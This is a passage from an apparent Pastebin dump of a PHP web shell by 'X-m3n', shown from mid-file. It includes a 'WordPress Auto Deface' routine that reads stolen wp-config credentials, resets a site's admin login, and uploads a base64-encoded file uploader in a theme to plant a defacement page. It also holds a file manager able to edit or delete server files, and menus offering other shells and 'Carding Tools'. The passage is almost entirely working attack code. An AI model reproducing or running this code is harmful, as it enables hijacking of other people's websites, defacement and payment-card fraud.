  3964. "wp-submit" => "$wp_submit",
  3965. "redirect_to" => "$web",
  3966. "testcookie" => "1",
  3967. );
  3968. $ch = curl_init($cek);
  3969. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  3970. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  3971. curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
  3972. curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
  3973. curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
  3974. curl_setopt($ch, CURLOPT_POST, 1);
  3975. curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
  3976. curl_setopt($ch, CURLOPT_COOKIEJAR,'cookie.txt');
  3977. curl_setopt($ch, CURLOPT_COOKIEFILE,'cookie.txt');
  3978. curl_setopt($ch, CURLOPT_COOKIESESSION, true);
  3979. $data = curl_exec($ch);
  3980. curl_close($ch);
  3981. return $data;
  3982. }
  3983. $link = explode("\r\n", $_POST['link']);
  3984. $script = htmlspecialchars($_POST['script']);
  3985. $user = "xmenhaxor";
  3986. $pass = "xmenhaxor";
  3987. $passx = md5($pass);
  3988. foreach($link as $dir_config) {
  3989. $config = anucurl($dir_config);
  3990. $dbhost = ambilkata($config,"DB_HOST', '","'");
  3991. $dbuser = ambilkata($config,"DB_USER', '","'");
  3992. $dbpass = ambilkata($config,"DB_PASSWORD', '","'");
  3993. $dbname = ambilkata($config,"DB_NAME', '","'");
  3994.  
  3995. $dbprefix = ambilkata($config,"table_prefix = '","'");
  3996. $prefix = $dbprefix."users";
  3997. $option = $dbprefix."options";
  3998. $conn = mysql_connect($dbhost,$dbuser,$dbpass);
  3999. $db = mysql_select_db($dbname);
  4000. $q = mysql_query("SELECT * FROM $prefix ORDER BY id ASC");
  4001. $result = mysql_fetch_array($q);
  4002. $id = $result[ID];
  4003. $q2 = mysql_query("SELECT * FROM $option ORDER BY option_id ASC");
  4004. $result2 = mysql_fetch_array($q2);
  4005. $target = $result2[option_value];
  4006. if($target == '') {
  4007. echo "[-] <font color=red>error, gabisa ambil nama domain nya</font><br>";
  4008. } else {
  4009. echo "[+] $target <br>";
  4010. }
  4011. $update = mysql_query("UPDATE $prefix SET user_login='$user',user_pass='$passx' WHERE ID='$id'");
  4012. if(!$conn OR !$db OR !$update) {
  4013. echo "[-] MySQL Error: <font color=red>".mysql_error()."</font><br><br>";
  4014. mysql_close($conn);
  4015. } else {
  4016. $site = "$target/wp-login.php";
  4017. $site2 = "$target/wp-admin/theme-install.php?upload";
  4018. $b1 = anucurl($site2);
  4019. $wp_sub = ambilkata($b1, "id=\"wp-submit\" class=\"button button-primary button-large\" value=\"","\" />");
  4020. $b = lohgin($site, $site2, $user, $pass, $wp_sub);
  4021. $anu2 = ambilkata($b,"name=\"_wpnonce\" value=\"","\" />");
  4022. $upload3 = base64_decode("Z2FudGVuZw0KPD9waHANCiRmaWxlMyA9ICRfRklMRVNbJ2ZpbGUzJ107DQogICRuZXdmaWxlMz0iay5waHAiOw0KICAgICAgICAgICAgICAgIGlmIChmaWxlX2V4aXN0cygiLi4vLi4vLi4vLi4vIi4kbmV3ZmlsZTMpKSB1bmxpbmsoIi4uLy4uLy4uLy4uLyIuJG5ld2ZpbGUzKTsNCiAgICAgICAgbW92ZV91cGxvYWRlZF9maWxlKCRmaWxlM1sndG1wX25hbWUnXSwgIi4uLy4uLy4uLy4uLyRuZXdmaWxlMyIpOw0KDQo/Pg==");
  4023. $www = "m.php";
  4024. $fp5 = fopen($www,"w");
  4025. fputs($fp5,$upload3);
  4026. $post2 = array(
  4027. "_wpnonce" => "$anu2",
  4028. "_wp_http_referer" => "/wp-admin/theme-install.php?upload",
  4029. "themezip" => "@$www",
  4030. "install-theme-submit" => "Install Now",
  4031. );
  4032. $ch = curl_init("$target/wp-admin/update.php?action=upload-theme");
  4033. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  4034. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  4035. curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
  4036. curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
  4037. curl_setopt($ch, CURLOPT_POST, 1);
  4038. curl_setopt($ch, CURLOPT_POSTFIELDS, $post2);
  4039. curl_setopt($ch, CURLOPT_COOKIEJAR,'cookie.txt');
  4040. curl_setopt($ch, CURLOPT_COOKIEFILE,'cookie.txt');
  4041. curl_setopt($ch, CURLOPT_COOKIESESSION, true);
  4042. $data3 = curl_exec($ch);
  4043. curl_close($ch);
  4044. $y = date("Y");
  4045. $m = date("m");
  4046. $namafile = "id.php";
  4047. $fpi = fopen($namafile,"w");
  4048. fputs($fpi,$script);
  4049. $ch6 = curl_init("$target/wp-content/uploads/$y/$m/$www");
  4050. curl_setopt($ch6, CURLOPT_POST, true);
  4051. curl_setopt($ch6, CURLOPT_POSTFIELDS, array('file3'=>"@$namafile"));
  4052. curl_setopt($ch6, CURLOPT_RETURNTRANSFER, 1);
  4053. curl_setopt($ch6, CURLOPT_COOKIEFILE, "cookie.txt");
  4054. curl_setopt($ch6, CURLOPT_COOKIEJAR,'cookie.txt');
  4055. curl_setopt($ch6, CURLOPT_COOKIESESSION,true);
  4056. $postResult = curl_exec($ch6);
  4057. curl_close($ch6);
  4058. $as = "$target/k.php";
  4059. $bs = anucurl($as);
  4060. if(preg_match("#$script#is", $bs)) {
  4061. echo "[+] <font color='lime'>Sukses</font><br>";
  4062. echo "[+] <a href='$as' target='_blank'>$as</a><br><br>";
  4063. } else {
  4064. echo "[-] <font color='red'>Gagal</font><br>";
  4065. echo "[!!] coba aja manual: <br>";
  4066. echo "[+] <a href='$target/wp-login.php' target='_blank'>$target/wp-login.php</a><br>";
  4067. echo "[+] username: <font color=lime>$user</font><br>";
  4068. echo "[+] password: <font color=lime>$pass</font><br><br>";
  4069. }
  4070. mysql_close($conn);
  4071. }
  4072. }
  4073. } else {
  4074. echo "<center><h1>WordPress Auto Deface V.2</h1>
  4075. <form method='post'>
  4076. Link Config: <br>
  4077. <textarea name='link' placeholder='http://target.com/idx_config/user-config.txt' style='width: 450px; height:250px;'></textarea><br>
  4078. <input type='text' name='script' height='10' size='50' placeholder='Hacked By X-m3n' required><br>
  4079. <input type='submit' style='width: 450px;' name='auto_deface_wp' value='Hajar!!'>
  4080. </form></center>";
  4081. }
  4082. } elseif($_GET['act'] == 'newfile') {
  4083. if($_POST['new_save_file']) {
  4084. $newfile = htmlspecialchars($_POST['newfile']);
  4085. $fopen = fopen($newfile, "a+");
  4086. if($fopen) {
  4087. $act = "<script>window.location='?act=edit&dir=".$dir."&file=".$_POST['newfile']."';</script>";
  4088. } else {
  4089. $act = "<font color=red>permission denied</font>";
  4090. }
  4091. }
  4092. echo $act;
  4093. echo "<form method='post'>
  4094. Filename: <input type='text' name='newfile' value='$dir/newfile.php' style='width: 450px;' height='10'>
  4095. <input type='submit' name='new_save_file' value='Submit'>
  4096. </form>";
  4097. } elseif($_GET['act'] == 'newfolder') {
  4098. if($_POST['new_save_folder']) {
  4099. $new_folder = $dir.'/'.htmlspecialchars($_POST['newfolder']);
  4100. if(!mkdir($new_folder)) {
  4101. $act = "<font color=red>permission denied</font>";
  4102. } else {
  4103. $act = "<script>window.location='?dir=".$dir."';</script>";
  4104. }
  4105. }
  4106. echo $act;
  4107. echo "<form method='post'>
  4108. Folder Name: <input type='text' name='newfolder' style='width: 450px;' height='10'>
  4109. <input type='submit' name='new_save_folder' value='Submit'>
  4110. </form>";
  4111. } elseif($_GET['act'] == 'rename_dir') {
  4112. if($_POST['dir_rename']) {
  4113. $dir_rename = rename($dir, "".dirname($dir)."/".htmlspecialchars($_POST['fol_rename'])."");
  4114. if($dir_rename) {
  4115. $act = "<script>window.location='?dir=".dirname($dir)."';</script>";
  4116. } else {
  4117. $act = "<font color=red>permission denied</font>";
  4118. }
  4119. echo "".$act."<br>";
  4120. }
  4121. echo "<form method='post'>
  4122. <input type='text' value='".basename($dir)."' name='fol_rename' style='width: 450px;' height='10'>
  4123. <input type='submit' name='dir_rename' value='rename'>
  4124. </form>";
  4125. } elseif($_GET['act'] == 'delete_dir') {
  4126. function Delete($path)
  4127. {
  4128. if (is_dir($path) === true)
  4129. {
  4130. $files = array_diff(scandir($path), array('.', '..'));
  4131. foreach ($files as $file)
  4132. {
  4133. Delete(realpath($path) . '/' . $file);
  4134. }
  4135. return rmdir($path);
  4136. }
  4137. else if (is_file($path) === true)
  4138. {
  4139. return unlink($path);
  4140. }
  4141. return false;
  4142. }
  4143. $delete_dir = Delete($dir);
  4144. if($delete_dir) {
  4145. $act = "<script>window.location='?dir=".dirname($dir)."';</script>";
  4146. } else {
  4147. $act = "<font color=red>could not remove ".basename($dir)."</font>";
  4148. }
  4149. echo $act;
  4150. } elseif($_GET['act'] == 'view') {
  4151. echo "Filename: <font color=lime>".basename($_GET['file'])."</font> [ <a href='?act=view&dir=$dir&file=".$_GET['file']."'><b>view</b></a> ] [ <a href='?act=edit&dir=$dir&file=".$_GET['file']."'>edit</a> ] [ <a href='?act=rename&dir=$dir&file=".$_GET['file']."'>rename</a> ] [ <a href='?act=download&dir=$dir&file=".$_GET['file']."'>download</a> ] [ <a href='?act=delete&dir=$dir&file=".$_GET['file']."'>delete</a> ]<br>";
  4152. echo "<textarea readonly>".htmlspecialchars(@file_get_contents($_GET['file']))."</textarea>";
  4153. } elseif($_GET['act'] == 'edit') {
  4154. if($_POST['save']) {
  4155. $save = file_put_contents($_GET['file'], $_POST['src']);
  4156. if($save) {
  4157. $act = "<font color=lime>Saved!</font>";
  4158. } else {
  4159. $act = "<font color=red>permission denied</font>";
  4160. }
  4161. echo "".$act."<br>";
  4162. }
  4163. echo "Filename: <font color=lime>".basename($_GET['file'])."</font> [ <a href='?act=view&dir=$dir&file=".$_GET['file']."'>view</a> ] [ <a href='?act=edit&dir=$dir&file=".$_GET['file']."'><b>edit</b></a> ] [ <a href='?act=rename&dir=$dir&file=".$_GET['file']."'>rename</a> ] [ <a href='?act=download&dir=$dir&file=".$_GET['file']."'>download</a> ] [ <a href='?act=delete&dir=$dir&file=".$_GET['file']."'>delete</a> ]<br>";
  4164. echo "<form method='post'>
  4165. <textarea name='src'>".htmlspecialchars(@file_get_contents($_GET['file']))."</textarea><br>
  4166. <input type='submit' value='Save' name='save' style='width: 500px;'>
  4167. </form>";
  4168. } elseif($_GET['act'] == 'rename') {
  4169. if($_POST['do_rename']) {
  4170. $rename = rename($_GET['file'], "$dir/".htmlspecialchars($_POST['rename'])."");
  4171. if($rename) {
  4172. $act = "<script>window.location='?dir=".$dir."';</script>";
  4173. } else {
  4174. $act = "<font color=red>permission denied</font>";
  4175. }
  4176. echo "".$act."<br>";
  4177. }
  4178. echo "Filename: <font color=lime>".basename($_GET['file'])."</font> [ <a href='?act=view&dir=$dir&file=".$_GET['file']."'>view</a> ] [ <a href='?act=edit&dir=$dir&file=".$_GET['file']."'>edit</a> ] [ <a href='?act=rename&dir=$dir&file=".$_GET['file']."'><b>rename</b></a> ] [ <a href='?act=download&dir=$dir&file=".$_GET['file']."'>download</a> ] [ <a href='?act=delete&dir=$dir&file=".$_GET['file']."'>delete</a> ]<br>";
  4179. echo "<form method='post'>
  4180. <input type='text' value='".basename($_GET['file'])."' name='rename' style='width: 450px;' height='10'>
  4181. <input type='submit' name='do_rename' value='rename'>
  4182. </form>";
  4183. } elseif($_GET['act'] == 'delete') {
  4184. $delete = unlink($_GET['file']);
  4185. if($delete) {
  4186. $act = "<script>window.location='?dir=".$dir."';</script>";
  4187. } else {
  4188. $act = "<font color=red>permission denied</font>";
  4189. }
  4190. echo $act;
  4191. }else {
  4192. if(is_dir($dir) == true) {
  4193. echo '<table width="100%" class="table_home" border="0" cellpadding="3" cellspacing="1" align="center">
  4194. <tr>
  4195. <th class="th_home"><center>Name</center></th>
  4196. <th class="th_home"><center>Type</center></th>
  4197. <th class="th_home"><center>Size</center></th>
  4198. <th class="th_home"><center>Last Modified</center></th>
  4199. <th class="th_home"><center>Permission</center></th>
  4200. <th class="th_home"><center>Action</center></th>
  4201. </tr>';
  4202. $scandir = scandir($dir);
  4203. foreach($scandir as $dirx) {
  4204. $dtype = filetype("$dir/$dirx");
  4205. $dtime = date("F d Y g:i:s", filemtime("$dir/$dirx"));
  4206. if(!is_dir("$dir/$dirx")) continue;
  4207. if($dirx === '..') {
  4208. $href = "<a href='?dir=".dirname($dir)."'>$dirx</a>";
  4209. } elseif($dirx === '.') {
  4210. $href = "<a href='?dir=$dir'>$dirx</a>";
  4211. } else {
  4212. $href = "<a href='?dir=$dir/$dirx'>$dirx</a>";
  4213. }
  4214. if($dirx === '.' || $dirx === '..') {
  4215. $act_dir = "<a href='?act=newfile&dir=$dir'>newfile</a> | <a href='?act=newfolder&dir=$dir'>newfolder</a>";
  4216. } else {
  4217. $act_dir = "<a href='?act=rename_dir&dir=$dir/$dirx'>rename</a> | <a href='?act=delete_dir&dir=$dir/$dirx'>delete</a>";
  4218. }
  4219. echo "<tr>";
  4220. echo "<td class='td_home'><img src='data:image/png;base64,R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAA"."AAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp"."/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs='>$href</td>";
  4221. echo "<td class='td_home'><center>$dtype</center></td>";
  4222. echo "<td class='td_home'><center>-</center></th>";
  4223. echo "<td class='td_home'><center>$dtime</center></td>";
  4224. echo "<td class='td_home'><center>".w("$dir/$dirx",perms("$dir/$dirx"))."</center></td>";
  4225. echo "<td class='td_home' style='padding-left: 15px;'>$act_dir</td>";
  4226. }
  4227. echo "</tr>";
  4228. foreach($scandir as $file) {
  4229. $ftype = filetype("$dir/$file");
  4230. $ftime = date("F d Y g:i:s", filemtime("$dir/$file"));
  4231. $size = filesize("$dir/$file")/1024;
  4232. $size = round($size,3);
  4233. if($size > 1024) {
  4234. $size = round($size/1024,2). 'MB';
  4235. } else {
  4236. $size = $size. 'KB';
  4237. }
  4238. if(!is_file("$dir/$file")) continue;
  4239. echo "<tr>";
  4240. echo "<td class='td_home'><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9oJBhcTJv2B2d4AAAJMSURBVDjLbZO9ThxZEIW/qlvdtM38BNgJQmQgJGd+A/MQBLwGjiwH3nwdkSLtO2xERG5LqxXRSIR2YDfD4GkGM0P3rb4b9PAz0l7pSlWlW0fnnLolAIPB4PXh4eFunucAIILwdESeZyAifnp6+u9oNLo3gM3NzTdHR+//zvJMzSyJKKodiIg8AXaxeIz1bDZ7MxqNftgSURDWy7LUnZ0dYmxAFAVElI6AECygIsQQsizLBOABADOjKApqh7u7GoCUWiwYbetoUHrrPcwCqoF2KUeXLzEzBv0+uQmSHMEZ9F6SZcr6i4IsBOa/b7HQMaHtIAwgLdHalDA1ev0eQbSjrErQwJpqF4eAx/hoqD132mMkJri5uSOlFhEhpUQIiojwamODNsljfUWCqpLnOaaCSKJtnaBCsZYjAllmXI4vaeoaVX0cbSdhmUR3zAKvNjY6Vioo0tWzgEonKbW+KkGWt3Unt0CeGfJs9g+UU0rEGHH/Hw/MjH6/T+POdFoRNKChM22xmOPespjPGQ6HpNQ27t6sACDSNanyoljDLEdVaFOLe8ZkUjK5ukq3t79lPC7/ODk5Ga+Y6O5MqymNw3V1y3hyzfX0hqvJLybXFd++f2d3d0dms+qvg4ODz8fHx0/Lsbe3964sS7+4uEjunpqmSe6e3D3N5/N0WZbtly9f09nZ2Z/b29v2fLEevvK9qv7c2toKi8UiiQiqHbm6riW6a13fn+zv73+oqorhcLgKUFXVP+fn52+Lonj8ILJ0P8ZICCF9/PTpClhpBvgPeloL9U55NIAAAAAASUVORK5CYII='><a href='?act=view&dir=$dir&file=$dir/$file'>$file</a></td>";
  4241. echo "<td class='td_home'><center>$ftype</center></td>";
  4242. echo "<td class='td_home'><center>$size</center></td>";
  4243. echo "<td class='td_home'><center>$ftime</center></td>";
  4244. echo "<td class='td_home'><center>".w("$dir/$file",perms("$dir/$file"))."</center></td>";
  4245. echo "<td class='td_home' style='padding-left: 15px;'><a href='?act=edit&dir=$dir&file=$dir/$file'>edit</a> | <a href='?act=rename&dir=$dir&file=$dir/$file'>rename</a> | <a href='?act=delete&dir=$dir&file=$dir/$file'>delete</a> | <a href='?act=download&dir=$dir&file=$dir/$file'>download</a></td>";
  4246. }
  4247. echo "</tr></table>";
  4248. } else {
  4249. echo "<font color=red>can't open directory</font>";
  4250. }
  4251. }
  4252. echo "<center><hr><form>
  4253. <select onchange='if (this.value) window.open(this.value);'>
  4254. <option selected='selected' value=''> Summoner Tools </option>
  4255. <option value='$ling=wso'>WSO 2.8.1</option>
  4256. <option value='$ling=injection'>1n73ction v3</option>
  4257. <option value='$ling=wk'>WHMCS Killer</option>
  4258. <option value='$ling=adminer'>Adminer</option>
  4259. <option value='$ling=b374k'>b374k Shell</option>
  4260. <option value='$ling=b374k323'>b374k 3.2</option>
  4261. <option value='$ling=bh'>BlackHat Shell</option>
  4262. <option value='$ling=dhanus'>Dhanush Shell</option>
  4263. <option value='$ling=r57'>R57 Shell</option>
  4264. <option value='$ling=encodedecode'>Encode Decode</option>
  4265. <option value='$ling=r57'>R57 Shell</option>
  4266. </select>
  4267. <select onchange='if (this.value) window.open(this.value);'>
  4268. <option selected='selected' value=''> Carding Tools </option>
  4269. <option value='$ling=extractor'>DB Email Extractor</option>
  4270. <option value='$ling=promailerv2'>Pro Mailer V2</option>
  4271. <option value='$ling=bukalapak'>BukaLapak Checker</option>
  4272. <option value='$ling=tokopedia'>TokoPedia Checker</option>
  4273. <option value='$ling=tokenpp'>Paypal Token Generator</option>
  4274. <option value='$ling=mailer'>Mailer</option>
  4275. <option value='$ling=gamestopceker'>GamesTop Checker</option>
  4276. </select>
  4277. <noscript><input type='submit' value='Submit'></noscript>
  4278. </form>Copyright &copy; ".date("Y")." <a href='#' target='_blank'><font color=lime></font></a> X-m3n - <a href='https://www.facebook.com/xm3n.gov.ph' target='_BLANK'><font color=lime>Coded By X-m3n</a></font></center>";
  4279. ?>
  4280. </html>
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!